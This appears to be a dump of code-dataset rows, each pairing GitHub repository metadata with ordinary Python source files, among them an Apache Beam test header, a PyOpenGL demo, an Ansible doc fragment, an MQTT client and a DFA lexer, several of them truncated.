] | null | null | null | UAS/UAS 6/Class.py | Archedar/UAS | 3237d9304026340acc93c8f36b358578dc0ae66f | [
"BSD-Source-Code"
] | null | null | null | #Class
class Kota:
def __init__(self, nama, jarak):
self.nama = nama
self.jarak = jarak | 19.2 | 34 | 0.666667 |
816a0e86110cefe98163ab2a2f2b7718a980251c | 8,431 | py | Python | sdks/python/apache_beam/runners/interactive/messaging/interactive_environment_inspector_test.py | diegomez17/beam | 29dea08c873abc75871674762e68fd5b29b8052b | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 2 | 2021-12-29T09:01:21.000Z | 2022-02-26T14:32:16.000Z | sdks/python/apache_beam/runners/interactive/messaging/interactive_environment_inspector_test.py | diegomez17/beam | 29dea08c873abc75871674762e68fd5b29b8052b | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 4 | 2021-12-21T21:15:41.000Z | 2022-02-15T19:21:28.000Z | sdks/python/apache_beam/runners/interactive/messaging/interactive_environment_inspector_test.py | diegomez17/beam | 29dea08c873abc75871674762e68fd5b29b8052b | [
"PSF-2.0",
"Apache-2.0",
"BSD-3-Clause"
] | 17 | 2021-12-15T19:31:54.000Z | 2022-01-31T18:54:23.000Z | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... | 40.729469 | 95 | 0.713676 |
817d26cb2aa65e5bb80681f84cc0f9360d6dbc4a | 590 | py | Python | python/pyopenGL/ogl1/ogl1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/pyopenGL/ogl1/ogl1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/pyopenGL/ogl1/ogl1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | from OpenGL.GL import *
from OpenGL.GLU import *
from OpenGL.GLUT import *
import sys
def draw():
glutWireTeapot(0.5)
# glutWireSphere(0.50,50,10)
# glutWireCylinder(20,30,40,30)
# glutSolidTeapot(0.5)
# glutWireTetrahedron(4,3,3)
# glutWireCube(1.0)
glFlush()
glutInit(sys.argv) ... | 25.652174 | 116 | 0.70678 |
c4b2360347a0729b2877acc92c4279f746a401e3 | 1,604 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/doc_fragments/manageiq.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | 17 | 2017-06-07T23:15:01.000Z | 2021-08-30T14:32:36.000Z | ansible/ansible/plugins/doc_fragments/manageiq.py | SergeyCherepanov/ansible | 875711cd2fd6b783c812241c2ed7a954bf6f670f | [
"MIT"
] | 9 | 2017-06-25T03:31:52.000Z | 2021-05-17T23:43:12.000Z | ansible/ansible/plugins/doc_fragments/manageiq.py | SergeyCherepanov/ansible | 875711cd2fd6b783c812241c2ed7a954bf6f670f | [
"MIT"
] | 3 | 2018-05-26T21:31:22.000Z | 2019-09-28T17:00:45.000Z | # -*- coding: utf-8 -*-
# Copyright: (c) 2017, Daniel Korn <korndaniel1@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
class ModuleDocFragment(object):
# Standard ManageIQ documentation fragment
DOCUMENTATION = r'''
options:
manageiq_connection:
... | 32.08 | 117 | 0.643392 |
c4b6cb1da868fd8cb1675ba607dd64047d7f9d4c | 806 | py | Python | src/showcase/mqtt/mqtt.py | th-koeln-intia/ip-sprachassistent-team1 | 69fbc06a326da91fd3d84f222eba6cd2b1a79975 | [
"MIT"
] | 1 | 2021-04-28T09:45:34.000Z | 2021-04-28T09:45:34.000Z | src/showcase/mqtt/mqtt.py | th-koeln-intia/ip-sprachassistent-team1 | 69fbc06a326da91fd3d84f222eba6cd2b1a79975 | [
"MIT"
] | 1 | 2020-09-24T07:20:16.000Z | 2020-09-24T07:20:16.000Z | src/showcase/mqtt/mqtt.py | th-koeln-intia/ip-sprachassistent-team1 | 69fbc06a326da91fd3d84f222eba6cd2b1a79975 | [
"MIT"
] | 1 | 2020-12-04T13:38:33.000Z | 2020-12-04T13:38:33.000Z | import paho.mqtt.client as mqtt
import os
import logging
mqtt_host = os.getenv('MQTT_HOST', 'raspberrypi')
mqtt_port = os.getenv('MQTT_PORT', 1883)
mqtt_username = os.getenv('MQTT_USERNAME', None)
mqtt_password = os.getenv('MQTT_PASSWORD', None)
client = mqtt.Client()
logger = logging.getLogger('mqtt')
def on_conn... | 23.028571 | 69 | 0.729529 |
83e5517b6c2d31a5fbec59e88d5130c7b614a29e | 154 | py | Python | site/public/courses/CS-1.2/src/linked-list/Node.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | 1 | 2021-08-24T20:22:19.000Z | 2021-08-24T20:22:19.000Z | site/public/courses/CS-1.2/src/linked-list/Node.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | null | null | null | site/public/courses/CS-1.2/src/linked-list/Node.py | KitsuneNoctus/makeschool | 5eec1a18146abf70bb78b4ee3d301f6a43c9ede4 | [
"MIT"
] | null | null | null | class Node:
def __init__(self, data):
self.__data = data
self.__next = None
def set_data(self, new_data):
self.__data = new_data | 19.25 | 32 | 0.62987 |
f7d9bd046c34b5c0a515c28902faa93b371bd637 | 1,825 | py | Python | python/create_issn_mapping_table.py | sma-h/openapc-de | 0ec2d42d525219d801f71538f5b30ca6fecd9d3a | [
"Cube"
] | 89 | 2015-02-13T13:46:06.000Z | 2022-03-13T16:42:44.000Z | python/create_issn_mapping_table.py | sma-h/openapc-de | 0ec2d42d525219d801f71538f5b30ca6fecd9d3a | [
"Cube"
] | 91 | 2015-03-12T13:31:36.000Z | 2022-01-14T07:37:37.000Z | python/create_issn_mapping_table.py | sma-h/openapc-de | 0ec2d42d525219d801f71538f5b30ca6fecd9d3a | [
"Cube"
] | 138 | 2015-03-04T15:23:43.000Z | 2022-03-09T15:11:52.000Z | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
from csv import DictReader, unix_dialect, writer
from test import whitelists as wl
mappings = {
"journal_full_title": {},
"publisher": {}
}
def _get_publisher_identity(publisher):
for entry in wl.PUBLISHER_IDENTITY:
if publisher in entry[1]:
... | 37.244898 | 107 | 0.546301 |
793a033b1f4d4464d08f62dbdaecd9da19397709 | 298 | py | Python | source/pkgsrc/math/crfsuite/patches/patch-example_crfutils.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/math/crfsuite/patches/patch-example_crfutils.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/math/crfsuite/patches/patch-example_crfutils.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-example_crfutils.py,v 1.1 2014/10/31 00:54:02 cheusov Exp $
--- example/crfutils.py.orig 2011-08-11 03:02:41.000000000 +0000
+++ example/crfutils.py
@@ -1,3 +1,5 @@
+#!/usr/bin/env python
+
"""
A miscellaneous utility for sequential labeling.
Copyright 2010,2011 Naoaki Okazaki.
| 27.090909 | 74 | 0.711409 |
f7153c21736cca53d92914b2228e578ffc94a1f1 | 13,114 | py | Python | projects/g3h1-cp-fml-interpreter/src/lexer/dfa.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g3h1-cp-fml-interpreter/src/lexer/dfa.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g3h1-cp-fml-interpreter/src/lexer/dfa.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | from enum import unique, Enum
class DFA:
def __init__(self, source_data):
if type(source_data) != dict:
raise TypeError('第 1 个参数期望 {arg_type_expect} 类型,却接收到类型 {arg_type} '.format(
arg_type_expect='dict', arg_type=str(type(source_data))
))
if type(source_da... | 34.970667 | 108 | 0.416959 |
f71e8e3cc6255da0daeb05d09e65a982f946b838 | 521 | py | Python | elements/python/11/1/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 11 | 2019-02-08T06:54:34.000Z | 2021-08-07T18:57:39.000Z | elements/python/11/1/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 1 | 2019-05-21T08:14:10.000Z | 2019-05-21T08:14:10.000Z | elements/python/11/1/soln.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | null | null | null | import heapq
import random
def merge(lists):
heapq.heapify(lists)
m = []
while len(lists) > 0:
l = heapq.heappop(lists)
if len(l) == 0:
continue
m.append(l.pop(0))
heapq.heappush(lists, l)
return m
def test(n, k):
lists = [[] for _ in xrange(k)]
fo... | 16.28125 | 44 | 0.539347 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.